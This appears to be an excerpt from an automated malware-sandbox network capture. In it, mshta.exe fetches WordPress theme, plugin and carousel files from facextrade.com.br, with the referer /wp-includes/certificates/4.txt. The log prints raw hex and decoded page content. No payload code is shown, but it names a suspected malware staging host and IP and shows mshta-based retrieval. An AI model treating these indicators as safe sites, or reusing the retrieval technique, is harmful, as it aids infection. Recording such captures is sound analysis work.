70 6f 72 74 20 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3b 0a Data Ascii: /Theme Name: cherryTheme URI: //info.template-help.com/help/Description: A theme for Wordpress 3.8.xAuthor: Template_Help.comAuthor URI: //info.template-help.com/help/Version: 3.1.5.1Tags: dark, light, white, black, gray, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-menu, editor-style, featured-images, full-width-template, post-formats, rtl-language-support, sticky-post, theme-options, translation-readyLicense:License URI: http://Text Domain: cherry/@import "css/style.css";
Aug 16, 2022 11:53:26.813847065 CEST	910	OUT	GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:27.997200966 CEST	925	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:53:26 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Content-Type: text/html; charset=UTF-8 X-Varnish: 23797003 Age: 0 Via: 1.1 varnish-v4 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 Data Ascii: 00104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alt
Aug 16, 2022 11:53:27.997235060 CEST	926	IN	Data Raw: 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f Data Ascii: ernate" type="application/atom+xml" title="Facex" href="https://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><
Aug 16, 2022 11:53:27.997258902 CEST	927	IN	Data Raw: 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 Data Ascii: g\/","svgExt":".svg","source":{"concatemoji":"http:\/\/facextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var
Aug 16, 2022 11:53:27.997277975 CEST	928	IN	Data Raw: 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 21 74 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 Data Ascii: erythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1
Aug 16, 2022 11:53:27.997299910 CEST	929	IN	Data Raw: 30 30 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 Data Ascii: 00101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1
Aug 16, 2022 11:53:27.997323036 CEST	931	IN	Data Raw: 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 Data Ascii: ont-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' />
Aug 16, 2022 11:53:27.997353077 CEST	932	IN	Data Raw: 2e 63 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f Data Ascii: .css?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='
Aug 16, 2022 11:53:27.997370005 CEST	932	IN	Data Raw: 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 Data Ascii: avascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:53:28.005166054 CEST	943	IN	Data Raw: 30 30 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c Data Ascii: 00107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.22	49198	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:28.241842985 CEST	982	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:28.453712940 CEST	984	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:55 GMT Server: Apache ETag: "a51459-15f88-5c93d38d98e41" Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT Content-Length: 89992 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16866410 17189339 Age: 213 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 63 61 72 6f 75 73 65 6c 0a 20 2a 20 40 76 65 72 73 69 6f 6e 20 32 2e 33 2e 34 0a 20 2a 20 40 61 75 74 68 6f 72 20 42 61 72 74 6f 73 7a 20 57 6f 6a 63 69 65 63 68 6f 77 73 6b 69 0a 20 2a 20 40 61 75 74 68 6f 72 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 54 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4d 49 54 29 0a 20 2a 20 40 74 6f 64 6f 20 4c 61 7a 79 20 4c 6f 61 64 20 49 63 6f 6e 0a 20 2a 20 40 74 6f 64 6f 20 70 72 65 76 65 6e 74 20 61 6e 69 6d 61 74 69 6f 6e 65 6e 64 20 62 75 62 6c 69 6e 67 0a 20 2a 20 40 74 6f 64 6f 20 69 74 65 6d 73 53 63 61 6c 65 55 70 0a 20 2a 20 40 74 6f 64 6f 20 54 65 73 74 20 5a 65 70 74 6f 0a 20 2a 20 40 74 6f 64 6f 20 73 74 61 67 65 50 61 64 64 69 6e 67 20 63 61 6c 63 75 6c 61 74 65 20 77 72 6f 6e 67 20 61 63 74 69 76 65 20 63 6c 61 73 73 65 73 0a 20 2a 2f 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 24 2c 20 77 69 6e 64 6f 77 2c 20 64 6f 63 75 6d 65 6e 74 2c 20 75 6e 64 65 66 69 6e 65 64 29 20 7b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 43 72 65 61 74 65 73 20 61 20 63 61 72 6f 75 73 65 6c 2e 0a 09 20 2a 20 40 63 6c 61 73 73 20 54 68 65 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 2e 0a 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 48 54 4d 4c 45 6c 65 6d 65 6e 74 7c 6a 51 75 65 72 79 7d 20 65 6c 65 6d 65 6e 74 20 2d 20 54 68 65 20 65 6c 65 6d 65 6e 74 20 74 6f 20 63 72 65 61 74 65 20 74 68 65 20 63 61 72 6f 75 73 65 6c 20 66 6f 72 2e 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 5b 6f 70 74 69 6f 6e 73 5d 20 2d 20 54 68 65 20 6f 70 74 69 6f 6e 73 0a 09 20 2a 2f 0a 09 66 75 6e 63 74 69 6f 6e 20 4f 77 6c 28 65 6c 65 6d 65 6e 74 2c 20 6f 70 74 69 6f 6e 73 29 20 7b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 75 72 72 65 6e 74 20 73 65 74 74 69 6e 67 73 20 66 6f 72 20 74 68 65 20 63 61 72 6f 75 73 65 6c 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 73 65 74 74 69 6e 67 73 20 3d 20 6e 75 6c 6c 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 75 72 72 65 6e 74 20 6f 70 74 69 6f 6e 73 20 73 65 74 20 62 79 20 74 68 65 20 63 61 6c 6c 65 72 20 69 6e 63 6c 75 64 69 6e 67 20 64 65 66 61 75 6c 74 73 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 6f 70 74 69 6f 6e 73 20 3d 20 24 2e 65 78 74 65 6e 64 28 7b 7d 2c 20 4f Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE //* * Owl carousel * @version 2.3.4 * @author Bartosz Wojciechowski * @author David Deutsch * @license The MIT License (MIT) * @todo Lazy Load Icon * @todo prevent animationend bubling * @todo itemsScaleUp * @todo Test Zepto * @todo stagePadding calculate wrong active classes /;(function($, window, document, undefined) {/* * Creates a carousel. * @class The Owl Carousel. * @public * @param {HTMLElement\|jQuery} element - The element to create the carousel for. * @param {Object} [options] - The options /function Owl(element, options) {/* * Current settings for the carousel. * @public /this.settings = null;/* * Current options set by the caller including defaults. * @public */this.options = $.extend({}, O
Aug 16, 2022 11:53:28.453731060 CEST	985	IN	Data Raw: 77 6c 2e 44 65 66 61 75 6c 74 73 2c 20 6f 70 74 69 6f 6e 73 29 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 50 6c 75 67 69 6e 20 65 6c 65 6d 65 6e 74 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 24 65 6c 65 6d Data Ascii: wl.Defaults, options);/** * Plugin element. * @public /this.$element = $(element);/* * Proxied event handlers. * @protected /this._handlers = {};/* * References to the running plugins of this carousel
Aug 16, 2022 11:53:28.453747988 CEST	987	IN	Data Raw: 65 63 74 65 64 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 5f 69 6e 76 61 6c 69 64 61 74 65 64 20 3d 20 7b 7d 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 4f 72 64 65 72 65 64 20 6c 69 73 74 20 6f 66 20 77 6f 72 6b 65 72 73 20 66 6f 72 20 74 68 65 20 Data Ascii: ected /this._invalidated = {};/* * Ordered list of workers for the update process. * @protected /this._pipe = [];/* * Current state information for the drag operation. * @todo #261 * @protected */th
Aug 16, 2022 11:53:28.453766108 CEST	988	IN	Data Raw: 20 74 72 75 65 2c 0a 09 09 70 75 6c 6c 44 72 61 67 3a 20 74 72 75 65 2c 0a 09 09 66 72 65 65 44 72 61 67 3a 20 66 61 6c 73 65 2c 0a 0a 09 09 6d 61 72 67 69 6e 3a 20 30 2c 0a 09 09 73 74 61 67 65 50 61 64 64 69 6e 67 3a 20 30 2c 0a 0a 09 09 6d 65 Data Ascii: true,pullDrag: true,freeDrag: false,margin: 0,stagePadding: 0,merge: false,mergeFit: true,autoWidth: false,startPosition: 0,rtl: false,smartSpeed: 250,fluidSpeed: false,dragEndSpeed: false,responsiv
Aug 16, 2022 11:53:28.453785896 CEST	989	IN	Data Raw: 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72 75 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 63 61 63 68 65 29 20 7b 0a 09 09 09 63 61 63 68 65 2e 63 75 72 72 65 6e 74 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 20 26 26 20 74 68 69 73 2e 5f Data Ascii: ', 'settings' ],run: function(cache) {cache.current = this._items && this._items[this.relative(this._current)];}}, {filter: [ 'items', 'settings' ],run: function() {this.$stage.children('.cloned').remove();}}, {fi
Aug 16, 2022 11:53:28.453804016 CEST	991	IN	Data Raw: 09 09 09 09 69 74 65 6d 73 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 2c 0a 09 09 09 09 73 65 74 74 69 6e 67 73 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2c 0a 09 09 09 09 2f 2f 20 54 4f 44 4f 3a 20 53 68 6f 75 6c 64 20 62 65 20 63 6f 6d 70 Data Ascii: items = this._items,settings = this.settings,// TODO: Should be computed from number of min width items in stageview = Math.max(settings.items * 2, 4),size = Math.ceil(items.length / 2) * 2,repeat = settings.loop &
Aug 16, 2022 11:53:28.453824043 CEST	992	IN	Data Raw: 6f 6f 72 64 69 6e 61 74 65 73 20 3d 20 63 6f 6f 72 64 69 6e 61 74 65 73 3b 0a 09 09 7d 0a 09 7d 2c 20 7b 0a 09 09 66 69 6c 74 65 72 3a 20 5b 20 27 77 69 64 74 68 27 2c 20 27 69 74 65 6d 73 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 Data Ascii: oordinates = coordinates;}}, {filter: [ 'width', 'items', 'settings' ],run: function() {var padding = this.settings.stagePadding,coordinates = this._coordinates,css = {'width': Math.ceil(Math.abs(coordinates[coor
Aug 16, 2022 11:53:28.453843117 CEST	994	IN	Data Raw: 2e 5f 63 75 72 72 65 6e 74 29 29 3b 0a 09 09 7d 0a 09 7d 2c 20 7b 0a 09 09 66 69 6c 74 65 72 3a 20 5b 20 27 77 69 64 74 68 27 2c 20 27 70 6f 73 69 74 69 6f 6e 27 2c 20 27 69 74 65 6d 73 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72 Data Ascii: ._current));}}, {filter: [ 'width', 'position', 'items', 'settings' ],run: function() {var rtl = this.settings.rtl ? 1 : -1,padding = this.settings.stagePadding * 2,begin = this.coordinates(this.current()) + padding,
Aug 16, 2022 11:53:28.453860998 CEST	995	IN	Data Raw: 3c 27 20 2b 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 74 61 67 65 45 6c 65 6d 65 6e 74 20 2b 20 27 3e 27 2c 20 7b 0a 09 09 09 22 63 6c 61 73 73 22 3a 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 74 61 67 65 43 6c 61 73 73 0a 09 09 7d 29 Data Ascii: <' + this.settings.stageElement + '>', {"class": this.settings.stageClass}).wrap( $( '<div/>', {"class": this.settings.stageOuterClass}));// append stagethis.$element.append(this.$stage.parent());};/** * Create item
Aug 16, 2022 11:53:28.453879118 CEST	996	IN	Data Raw: 65 6e 74 2e 66 69 6e 64 28 27 69 6d 67 27 29 3b 0a 09 09 09 6e 65 73 74 65 64 53 65 6c 65 63 74 6f 72 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 6e 65 73 74 65 64 49 74 65 6d 53 65 6c 65 63 74 6f 72 20 3f 20 27 2e 27 20 2b 20 74 68 69 73 Data Ascii: ent.find('img');nestedSelector = this.settings.nestedItemSelector ? '.' + this.settings.nestedItemSelector : undefined;width = this.$element.children(nestedSelector).width();if (imgs.length && width <= 0) {this.preloadAutoWid
Aug 16, 2022 11:53:28.665318012 CEST	1012	IN	Data Raw: 09 09 09 69 66 20 28 62 72 65 61 6b 70 6f 69 6e 74 20 3c 3d 20 76 69 65 77 70 6f 72 74 20 26 26 20 62 72 65 61 6b 70 6f 69 6e 74 20 3e 20 6d 61 74 63 68 29 20 7b 0a 09 09 09 09 09 6d 61 74 63 68 20 3d 20 4e 75 6d 62 65 72 28 62 72 65 61 6b 70 6f Data Ascii: if (breakpoint <= viewport && breakpoint > match) {match = Number(breakpoint);}});settings = $.extend({}, this.options, overwrites[match]);if (typeof settings.stagePadding === 'function') {settings.stagePadding
Aug 16, 2022 11:53:28.898485899 CEST	1148	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:29.110234022 CEST	1157	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:56 GMT Server: Apache ETag: "a5146a-bbe-5c93d38d9c220" Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT Content-Length: 3006 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16866412 23796834 Age: 213 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 27 75 73 65 20 73 74 72 69 63 74 27 3b 0d 0a 0d 0a 20 20 20 20 2f 2a 2a 0d 0a 20 20 20 20 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 63 6f 64 65 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 4a 61 76 61 53 63 72 69 70 74 20 73 6f 75 72 63 65 0d 0a 20 20 20 20 20 2a 20 73 68 6f 75 6c 64 20 72 65 73 69 64 65 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 4e 6f 74 65 3a 20 49 74 20 68 61 73 20 62 65 65 6e 20 61 73 73 75 6d 65 64 20 79 6f 75 20 77 69 6c 6c 20 77 72 69 74 65 20 6a 51 75 65 72 79 20 63 6f 64 65 20 68 65 72 65 2c 20 73 6f 20 74 68 65 0d 0a 20 20 20 20 20 2a 20 24 20 66 75 6e 63 74 69 6f 6e 20 72 65 66 65 72 65 6e 63 65 20 68 61 73 20 62 65 65 6e 20 70 72 65 70 61 72 65 64 20 66 6f 72 20 75 73 61 67 65 20 77 69 74 68 69 6e 20 74 68 65 20 73 63 6f 70 65 0d 0a 20 20 20 20 20 2a 20 6f 66 20 74 68 69 73 20 66 75 6e 63 74 69 6f 6e 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 54 68 69 73 20 65 6e 61 62 6c 65 73 20 79 6f 75 20 74 6f 20 64 65 66 69 6e 65 20 68 61 6e 64 6c 65 72 73 2c 20 66 6f 72 20 77 68 65 6e 20 74 68 65 20 44 4f 4d 20 69 73 20 72 65 61 64 79 3a 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 20 2a 0d 0a 09 20 2a 20 7d 29 3b 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 57 68 65 6e 20 74 68 65 20 77 69 6e 64 6f 77 20 69 73 20 6c 6f 61 64 65 64 3a 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 24 28 20 77 69 6e 64 6f 77 20 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 20 2a 0d 0a 09 20 2a 20 7d 29 3b 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 2e 2e 2e 61 6e 64 2f 6f 72 20 6f 74 68 65 72 20 70 6f 73 73 69 62 69 6c 69 74 69 65 73 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 49 64 65 61 6c 6c 79 2c 20 69 74 20 69 73 20 6e 6f 74 20 63 6f 6e 73 69 64 65 72 65 64 20 62 65 73 74 20 70 72 61 63 74 69 73 65 20 74 6f 20 61 74 74 61 63 68 20 6d 6f 72 65 20 74 68 61 6e 20 61 0d 0a 20 20 20 20 20 2a 20 73 69 6e 67 6c 65 20 44 4f 4d 2d 72 65 61 64 79 20 6f 72 20 77 69 6e 64 6f 77 2d 6c 6f 61 64 20 68 61 6e 64 6c 65 72 20 66 6f 72 20 61 20 70 61 72 74 69 63 75 6c 61 72 20 70 61 67 65 2e 0d 0a 20 20 20 20 20 2a 20 41 6c 74 68 6f 75 67 68 20 73 63 72 69 70 74 73 20 69 6e 20 74 68 65 20 57 6f 72 64 50 72 65 73 73 20 63 6f 72 65 2c 20 50 6c 75 67 69 6e 73 20 61 6e 